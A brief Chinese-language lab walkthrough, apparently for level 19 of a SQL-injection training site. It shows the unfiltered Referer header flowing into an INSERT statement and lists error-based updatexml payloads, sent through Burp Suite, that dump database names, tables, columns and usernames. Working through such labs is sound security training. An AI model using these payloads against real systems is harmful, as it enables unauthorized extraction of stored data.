一、提示referer的头注入,和上一关基本一样。先看源码呗
1.又对uname和passwd使用了check_input函数进行了过滤,所以只能找其他注入点
2.这里对uagent赋值了referer的内容而且没有进行过滤,之后只要找到哪里的数据库语句有用到uagent
3.这里发现insert语句用到了uagent,确定注入点,并且是单引号闭合。和上一关一样因为先进行了select查询,所以在注入时必须输入有效的用户名和密码
4.这里也有输出数据库错误信息,所以选择用报错注入
二、打开bp开启拦截,submit 19关,send to repeater,找到referer开始实验
三、爆所有数据库
Referer: 1 ' and updatexml(1,concat('^',(select schema_name from information_schema.schemata limit 0,1)),1) and '1'='1
四、爆指定数据库所有表
Referer: 1 ' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) and '1'='1
五、爆指定表所有列
Referer: 1 ' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) and '1'='1
六、爆指定列所有数据
Referer: 1 ' and updatexml(1,concat('^',(select username from users limit 0,1)),1) and '1'='1
over~